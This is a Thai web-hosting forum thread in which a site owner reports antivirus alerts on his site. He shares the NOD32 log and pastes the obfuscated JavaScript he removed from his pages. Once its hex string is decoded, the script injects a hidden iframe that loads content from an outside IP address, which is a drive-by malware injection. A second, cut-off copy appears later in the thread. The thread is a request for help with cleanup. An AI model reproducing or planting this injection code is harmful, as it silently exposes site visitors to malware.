เข้าเว็บแล้วnod เด้งขึ้นมาครับผม

Technical topics
1

4/5/2551 13:19:32 HTTP filter file http://77.221.133.150/.sp3/check.cgi?25b98a6a00000258020f0f934406cd61c8f5026da4df460003001e000000000800 probably a variant of Win32/Statik application connection terminated - quarantined NZN-201C966BF98\Administrator Threat was detected upon access to web by the application: F:\Program Files\Internet Explorer\IEXPLORE.EXE.

อันนี้คือที่ log ของnod แสดงครับ

2

โอเคจับจุดได้แล้วเป็นที่สคิปนีั่เองดูเหมือนมันจะดึงอะไรซักอย่างมาจากไอพีนี้ มั้งนะมั่วไปเรื่อย แต่เอาออกก็หาย

3 
<script>function v4819c48e80f69(v4819c48e81364){ function v4819c48e8175e () {return 16;} return(parseInt(v4819c48e81364,v4819c48e8175e()));}function v4819c48e81f5c(v4819c48e82353){ var v4819c48e85e32=2; var v4819c48e8274f='';for(v4819c48e842d2=0; v4819c48e842d2<v4819c48e82353.length; v4819c48e842d2+=v4819c48e85e32){ v4819c48e8274f+=(String.fromCharCode(v4819c48e80f69(v4819c48e82353.substr(v4819c48e842d2, v4819c48e85e32))));}return v4819c48e8274f;} document.write(v4819c48e81f5c('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C696672616D65206E616D653D633661363862207372633D5C27687474703A2F2F37372E3232312E3133332E3135302F2E69662F676F2E68746D6C3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A3232303830292B2733393439613230655C272077696474683D323430206865696768743D3932207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F696672616D653E27293C2F5343524950543E'));</script>

โค๊ดมันประมาณนี้อ่ะครับที่เอาออก ไม่รู้เอาออกวันนี้พรุ่งนี้มันจะมาอีกไหม มีใครเคยเจอบ้างครับ
มันหายขาดป่าว

4

เรื่องนี้มีมาตั้งนานแล้วครับ เคยมีโพสต์ไวแล้ว ทั้งสาเหตุและวิธีแก้ ลองค้นดูครับ

5

มันเกิดจากไรครับพี่kke ผมคิดคําค้นหาไม่ถูก ตอนนี้มึนเค้าบอกว่าติดมาจากที่เก่า

EDIT : อ่านที่ http://www.thaihosttalk.com/th1/index.php?topic=10544.0
อยู่ครับใครมีเพิ่มเติมไหม

view code ดู

<script>function v4819c5c300e14(v4819c5c3013fd){ var v4819c5c301bb3=16; return(parseInt(v4819c5c3013fd,v4819c5c301bb3));}function v4819c5c302b52(v4819c5c30331f){ var v4819c5c308537=2; var v4819c5c303af3='';for(v4819c5c305e43=0; v4819c5c305e43<v4819c5c30331f.length; v4819c5c305e43+=v4819c5c308537){ v4819c5c303af3+=(String.fromCharCode(v4819c5c300e14(v4819c5c30331f.substr(v4819c5c305e43, v4819c5c308
6

ผมเปิดกระทู้นี้แล้ว AVG ผมเด้งเตือนเลย

งงครับ สงสัยมันตรวจจับ LINk ด้วยหรือป่าวเนี่ย :dgrin:

7